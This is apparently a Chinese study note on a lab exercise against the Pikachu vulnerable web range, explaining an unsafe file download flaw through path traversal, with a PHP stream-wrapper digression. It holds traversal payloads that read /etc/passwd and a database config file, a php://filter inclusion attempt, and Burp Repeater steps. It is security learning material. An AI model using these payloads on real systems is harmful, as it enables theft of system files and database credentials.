不安全的文件下载

  1. 漏洞原理总结:

    就像图书馆的”代取书服务”。

    图书馆有一个服务:你报书名,管理员去书库帮你取,然后复印一份给你。

    正常情况,你报的是一本合法书的名字( kb.png )。管理员去 download/ 书架上取,复印,给你。

    漏洞情况,你报了 ../../../etc/passwd 。管理员拿着这张纸条,走到 download/ → ../ (退出 download)→ ../ (退出 Unsafedownload)→ ../ (退出 vul)→ 一直走到根目录 → 进入了 /etc/ 书库 → 取了一本叫做 passwd 的机密档案,复印了一份, 亲手交给了你。

  2. 我的测试过程:

    见后文,此处略

    get型的url

    1
    http://101.43.30.86/pikachu/vul/unsafedownload/execdownload.php?filename=../../../etc/passwd
  3. 核心漏洞代码分析:

    image-20260812173511959

    没有对filename做过滤处理。

    用户的 filename 参数直接拼进文件路径,没有做任何过滤。 后续代码(第 15-38 行)就是把 $file_path 指向的文件读出来,推给浏览器下载。

    正常情况: filename=kb.png → 路径为 download/kb.png → 下载科比的头像 ✅

    攻击情况: filename=../../../etc/passwd → 路径为 download/../../../etc/passwd → 实际指向 /etc/passwd → 下载系统用户文件 💀

    ==拓展1:php目录解析顺序==

    因为这里download/的前缀直接被目录穿越抵消了嘛,然后我就在想前面一道题,文件包含那里,代码有一个include/的前缀,后面接包含的文件的路径,当时我就在想这个include/的前缀能不能用目录穿越绕过然后后面接php://filter的伪协议。当时没深究,现在遇到了,类似的,就去查了一下。

    尝试了这个路径

    1
    http://101.43.30.86/pikachu/vul/fileinclude/fi_local.php?filename=../php://filter/read=convert.base64-encode/resource=../../inc/config.inc.php&submit=submit

    发现不行,但理论上来说又好像是可行的,然后我就让服务器的main agent给我查了一下什么情况,看是不是环境差异的问题。【hhh,为了偷懒和直观读代码用的trae,直接在github上拉的靶场源码,所以可能和服务器上实际的版本有区别】

    【然后遇到一个很经典的问题,两边agent的回答在左右互博,很神奇的是,这两个的api我都接的是deepseek,v4pro和v4flash的一战hhh】

    然后我想起来之前听大佬说过,遇到语法的问题,不要一直依靠ai,去官方手册找答案

    排查了一番,发现可能是这个问题:

    image-20260812184618429

    当时那个,文件包含的源代码长这样,前缀有个include/

    和我传入的这个../php://filter路径拼接之后,变成了include/../php://filter

    理论上来说化简之后就是php://filter这个伪协议了对吧,但是这里有一个问题

    php的解析机制,是先判断协议格式,再化简路径的

    1
    2
    3
    Step1:拿到完整传入字符串 → 检查【原始字符串开头】是否匹配 scheme:// 格式 → 选定 wrapper
    Step2:如果判定是 file://(本地文件),才进入路径归一化、解析../、.、目录化简
    ❗ 重点:../路径化简,只属于 file:// 这个本地文件 wrapper 内部的逻辑;它不会回头重新检测协议头!

    详细一点说是这样的:

    1
    2
    3
    4
    5
    6
    7
    Step1:拿到完整传入字符串 → php_stream_locate_url_wrapper() 只看【原始字符串开头】(main/streams/streams.c:2025-2031):
    从第 0 个字符起扫描 scheme 候选(字母/数字/+/-/.),遇到 : 且后面是 //(或精确等于 data:)才算协议;
    命中 → 按协议查 wrapper 注册表,先原样查、查不到转小写再查(streams.c:2034-2052);
    没命中任何协议、或协议就是 file → 回退 plain files wrapper(streams.c:2055)。
    Step2:只有最终落到 plain files wrapper(注意:不只 file://,还包括一切无协议路径:相对路径、./x、绝对路径、Windows 盘符 C:\x)时,才进入路径归一化:
    expand_filepath → tsrm_realpath,折叠 ../、.、拼接 cwd、解析符号链接(plain_wrapper.c:1168 / fopen_wrappers.c:787 / zend_virtual_cwd.c:1717)。
    ❗ 重点:../ 路径化简是 plain files wrapper 选定之后、在文件系统层(tsrm_realpath)内部发生的,它按"普通目录名"逐段处理路径组件;它不会回头重新做协议识别。所以 include/../php://filter/... 里的 php:// 永远只是字符串中间的一段普通文件名,永远不会被当作 wrapper。

    然后为了进一步验证,我让codex帮我把 PHP 8.5.9(当前最新稳定版)的源码拉下来对照着验证了,里面是这样的流程

    1
    2
    3
    4
    5
    6
    7
    8
    flowchart TD
    A["include 'include/../php://filter/...'<br/>(字符串以 include/ 开头)"] --> B["php_stream_locate_url_wrapper<br/>main/streams/streams.c:2025-2031"]
    B --> C["scheme 扫描:从头数 include = 7 个字符<br/>下一字符是 '/' 不是 ':'"]
    C --> D["protocol = NULL<br/>php:// 在字符串中间,永远认不出来"]
    D --> E["回退 plain files wrapper<br/>streams.c:2055"]
    E --> F["路径归一化 tsrm_realpath<br/>Zend/zend_virtual_cwd.c:1717"]
    F --> G["组件 php: 不是真实目录<br/>CWD_REALPATH 下直接返回失败<br/>zend_virtual_cwd.c:606-611"]
    G --> H["include 报错 failed to open stream<br/>No such file or directory"]

    ==拓展2:post传输版本的漏洞利用==

    同样是之前我思考过的一个问题,这里filename是get请求,改post之后,漏洞仍然是存在的,不因数据传输方式而改变,只是利用手法稍稍变化而已。

    改post请求之后如何找到下载入口?

    F12 Network 面板直接看。

    image-20260812234945304 image-20260813162858704

    查看方法如图

    image-20260813162436520

    bp里面能改文件名也看得见。然后目录穿越,可以多叠加几层,层数少了有时候看不见

    还有一个总结,==所有 Web 漏洞的本质都一样:找到输入 → 改输入 → 看输出。F12 Network 找入口,Burp Repeater 测试,GET 和 POST 只是输入通道不同,不影响漏洞存在与否。==

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    打开页面 → F12 Network → 正常操作一次 → 看请求

    ┌──────────────┴──────────────┐
    ▼ ▼
    GET 请求 POST 请求
    │ │
    直接在地址栏 Burp Repeater 改包
    改参数测试 测试
    │ │
    └──────────────┬──────────────┘

    看 Response

    ┌───────┴───────┐
    ▼ ▼
    有异常内容 报错 / 没反应
    │ │
    ✅ 漏洞存在 换 Payload
  4. 实战延伸(价值所在):

【实战价值与门槛】

image-20260812160857187
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# ===== Payload 1:下载系统用户文件 =====
../../../etc/passwd

# ===== Payload 2:下载靶场数据库配置文件(拿到数据库密码) =====
../../inc/config.inc.php
# 用记事本打开下载的文件,直接看到数据库连接信息

# ===== Payload 3:下载靶场任意页面源码 =====
../fileinclude/fi_local.php
../rce/rce_eval.php
../../index.php


# ===== Burp Suite 测试手法 =====
# 1. 正常点一个下载链接,在 Burp 里抓到 GET 请求
# 2. 发到 Repeater
# 3. 把 filename 改成:
../../../etc/passwd
# 4. 看 Response —— 如果返回内容是文件内容而不是报错,漏洞存在
# 5. 尝试:
../../inc/config.inc.php
# 6. 拿到数据库密码 → 报告高潮部分
image-20260812234112124

【实战技巧】

实战中怎么精准找到下载入口:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
## 方法一:看 F12 网络请求(最准)
1. 按 F12 → 点 "网络"(Network)标签
2. 点击页面上的"科比"下载链接
3. Network 面板里会立即出现一个新的请求,清清楚楚写着:
这就是真正的下载接口。 你不需要源码,不需要猜,浏览器直接把答案告诉你了。

## 方法二:看网页源代码(最稳)
右键 → 查看网页源代码,搜索 filename :

​```
<a href="execdownload.php?filename=kb.png">
科比.布莱恩特</a>
​```
href 里的就是真实路径。你在 Burp 里抓任何一个标签页的交互,都能看到。

## 方法三:Burp 抓包(最全)
用 Burp Suite 开代理,点下载链接,在 HTTP History 里能看到完整请求:

​```
GET /pikachu/vul/unsafedownload/
execdownload.php?filename=kb.png HTTP/1.1
Host: 101.43.30.86
​```
然后右键 → Send to Repeater,改 filename 参数为 ../../../etc/passwd ,发包测试。

实战流程:F12 → Network → 点下载链接 → 看请求URL → Burp Repeater → 改 filename → 测试

永远不要靠猜。